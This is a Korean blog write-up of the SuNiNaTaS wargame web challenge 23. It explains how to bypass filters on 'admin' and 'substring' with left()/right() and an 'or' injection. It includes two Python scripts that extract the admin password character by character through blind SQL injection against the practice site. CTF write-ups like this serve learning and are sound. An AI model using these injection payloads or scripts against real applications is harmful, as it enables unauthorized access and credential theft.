22번의 주요 키워드인 admin과 substring이 필터링 되어있습니다.


<!-- Hint 1 : guest / guest & Your goal is to find the admin's pw -->

<!-- Hint 2 : Bypass 'admin' string -->


힌트로 22번과 동일하지만 추가로 "admin" 문자열을 우회하라고 합니다.



우선 substring이 필터링이 되어 문자열을 나눌 수 있는 다른 방법을 찾아야 합니다.

substring과 비슷하게 사용되는 함수들은 left, mid, right가 있습니다.


하지만 mid() 함수는 존재하지 않는지 False만 나왔습니다.

그래서 left 함수를 이용해서 알고 있는 guest로 먼저 올바른 구문인지 확인해 봅니다.

※ left(str, len)



비밀번호 4글자까지는 무리 없이 잘 진행됩니다.



하지만 마지막 5글자로 해보니 No hack이라는 문자열이 나옵니다...

확인해보니까 30글자 문자열 제한이 되어있습니다.


문자열 제한으로 인해 admin 문자열의 우회 방법을 알아내도 비밀번호가 길어버리면 필터링이 되어 성공하지 못합니다.


admin을 필터링하고 있으니 ad'+'min 이렇게 만들어서 보내면 sql query에서 문자열이 합쳐서 query문이 잘 적응되긴 합니다.

(물론 Python로 할 때 +를 %2B로 해야 되더군요.)



이리저리 알아보다가 admin이라는 글자 자체가 없어도 할 수 있다는 내용을 듣고 시도해 봤습니다.


전 문제와 달리 or는 필터링이 되지 않아서 다음과 같이 시도해보면 인증이 되었습니다.

guest라는 내용이 없어도 guest로 인지하고 된 것입니다.


검색하려는 테이블의 정보 중 해당 칼럼의 다음과 같이 'g'로 시작하는 칼럼이 있으면 참으로 판단합니다.

이걸 이용하면 admin의 비밀번호 앞자리를 알 수 있습니다.



하나씩 해보게 되면 'v'가 admin으로 인증이 되게 됩니다.

이제 코드를 짜서 확인해보면 되겠습니다.



다음 Python 코드로 실행해보면 몇 자리의 비밀번호가 나오지만 문자열 30개 제한으로 인해 다 나오지 않습니다.

password의 'v'로 초기화하지 않으면 guest가 먼저 인지 되어 guest의 pw가 나오게 됩니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
 
cookies= {'YourCookie':'YourCookieValue'}
 
url = 'http://suninatas.com/Part_one/web23/web23.asp?'
password = 'v'
 
for i in range(2,15):
    for j in range(33,127):
        query = "id='or left(pw,"+str(i)+")='"+password+chr(j)+"'--&pw=1"
        payload = url+query      
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("OK")>0):
            password = password+chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



right 함수를 이용해서 뒤의 자리부터 구해서 적절히 합치면 됩니다.

그러기 위해 아래와 같이 코드 수정을 하고 진행하면 비밀번호를 얻을 수 있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
 
cookies= {'YourCookie':'YourCookieValue'}
 
url = 'http://suninatas.com/Part_one/web23/web23.asp?'
password = ''
 
for i in range(1,15):
    for j in range(33,127):
        query = "id='or right(pw,"+str(i)+")='"+chr(j)+password+"'--&pw=1"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("OK")>0):
            password = chr(j)+password
            print("password: "+password)
            break
        
print ("password : "+password)
 
cs



QnA에 댓글 중에 "함수에 대한 고정관념을 버려야 한다"는 말이 있었습니다.

또한 DB Query에 대해 이해가 필요한 것 같습니다.


아직 배워야 할게 많네요 ..

'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS_22 [WEB]  (0) 2018.10.01
SuNiNaTaS_24 [SYSTEM]  (0) 2018.09.22
SuNiNaTaS_12 [MISC]  (0) 2018.09.19
SuNiNaTaS_29 [FORENSIC]  (0) 2018.09.15
SuNiNaTaS_16 [SYSTEM]  (0) 2018.09.14

+ Recent posts